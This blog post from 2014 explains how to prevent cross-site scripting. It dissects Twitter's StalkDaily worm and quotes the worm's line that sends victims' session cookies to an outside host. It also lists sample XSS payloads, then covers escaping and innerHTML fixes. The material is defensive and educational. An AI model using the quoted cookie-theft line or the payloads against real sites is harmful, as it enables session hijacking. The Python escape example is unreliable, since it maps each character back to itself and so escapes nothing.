Saturday, 4 October 2014

Steps on how to prevent XSS attacks

XSS attacks are really common and a lot of the biggest sites have had or have issues with XSS - the involved sites include Gmail, PayPal, Facebook, Hotmail and lately Twitter. Being a lead developer of a popular site I'll share some of my experience on how to fix and prevent these malicious exploits. I'll also share a little insight on Twitter's latest exploit.
This isn't an introduction to cross site scripting (XSS) and if you don't know what XSS is then please read the XSS Wikipedia page.
We'll start off by looking at last weekend's Twitter StalkDaily worm which got spread to thousands of users and was built on a XSS exploit. After this is covered, I'll share my experience on how to prevent XSS from happening in your code no matter if you code in Java, Python or PHP.

Inspection of Twitter's StalkDaily worm

The source code of the worm can be found on gist.github.com/93782.
Overview of how StalkDaily attack works:
  • the attacker had found a hole in HTML escaping of a user's profile URL - this is the basis of the attack
  • the XSS hole enables the attacker to load his own script when you visit an infected user's profile
  • when you visit an infected user's profile the attacker's script is run and following things are done to your account:
    1) the script grabs your session cookie and sends it off to a remote site via an  tag added to the document
    2) the script updates your profile URL so you also become an infected user
    3) and the script updates your status to give StalkDaily promotion
The central part of the XSS exploit is this one line - without this line the worm would not be possible:
var xss = 
urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz...."></script><a ');
In the above code the cracker escapes Twitter's protection to injects his own script - basically, XSS in a nutshell!
Do also note how the cracker sends off the session cookie along with the user's username (this is very common for XSS attacks, i.e. to steal your users data, especially login data):
c = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + c + "&username=" + usr + "'>");
How could Twitter have prevented this attack? By properly escaping user[url] so it wasn't possible to inject arbitrary HTML. We'll explore options for protection later.

Why it's hard to prevent XSS attacks

XSS attack are hard to prevent because it only takes one mistake to make your site vulnerable. And good XSS crackers are not stupid and they will try anything to spot a hole!
If you are running an application and you haven't thought much about XSS then it's VERY likely that you are vulnerable. I would urge you to test and fix your XSS holes.
On Plurk I ran a XSS hacking challenge and so far we have had 6 XSS issues reported and 1 CSRF issue. Even thought we had thought about XSS issues from the start and had a simple way of dealing with them.

Common XSS attacks

You should remember one thing: there are lots of ways to do XSS exploits! On ha.ckers.org/xss.htmlthere's a big list of common attacks. Here are some of these, to give you an idea of how creative they are:
';alert(String.fromCharCode(88,83,83))//\';
alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//\";
alert(String.fromCharCode(88,83,83))//--></SCRIPT>">
'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC="jav ascript:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Generally, do note that there are lots of ways to exploit and these will eventually be tried by crackers!

How to prevent XSS attacks

There's one central rule of preventing XSS which you should follow:
  • don't trust any input coming from the user
Also play on the defensive, it's better to be more restrictive than to be more open, i.e. better to be safe than sorry!

Escaping special characters

Let me show you a simple XSS exploit, say I am having a login form and in this form I am remembering a username (very common if the user did not type the correct password):
<input type="text" name="username" value="${ user_name }" />
If you use the above code, then it's very simple to do a XSS exploit by using following username:
"><script>alert("hello"></script><input
How do you prevent this? A simple way is to escape special characters, i.e.:
<input type="text" name="username" value="${ escape_special(user_name) }" />
escape_special function should escape or remove following characters:
  • < and > because they are used to introduce a tag and end a tag
  • & because it's used to introduce a character entity
  • " because it's used to escape the input value
You should do this with any input where the user is not expected to add HTML!
Here is a simple implementation of escape_special that can be found in Python's cgi module:
def escape(s, quote=None):
    '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
    If the optional flag quote is true, the quotation mark character (")
    is also translated.'''
    s = s.replace("&", "&") # Must be done first!
    s = s.replace("<", "<")
    s = s.replace(">", ">")
    if quote:
        s = s.replace('"', """)
    return s
I am sure other languages have a very similar escape function.

If you want to enable HTML or CSS...

If you do want the user to add HTML then you should be very, very careful. For example, want to enable the user to add arbitrary CSS to your site, then be sure that you escape stuff like this (which is a XSS exploit that works in Internet Explorer):
a {
   background:url("javascript:alert('XSS')");
}
Generally, if you enable HTML, then be sure that you control which subset of HTML that's enabled (by for example stripping illegal HTML tags).
Do not let the user add JavaScript unless you can control what is possible.

JavaScript and innerHTML

Two of the XSS issues on Plurk involved innerHTML, so you should also be super careful about these.
Generally, here is one of our fixes to prevent XSS via innerHTML (basically we remove < and >):
$('nick_name_span').innerHTML = input.value.replace(/[<>]/g, '');

Conclusion

XSS issues can be very malicious and I hope this blog post has given you some more insight of how modern XSS attacks work and how to prevent them.
If you have any questions, warstories or suggestions, don't hesitate to post a comment.

No comments:

Post a Comment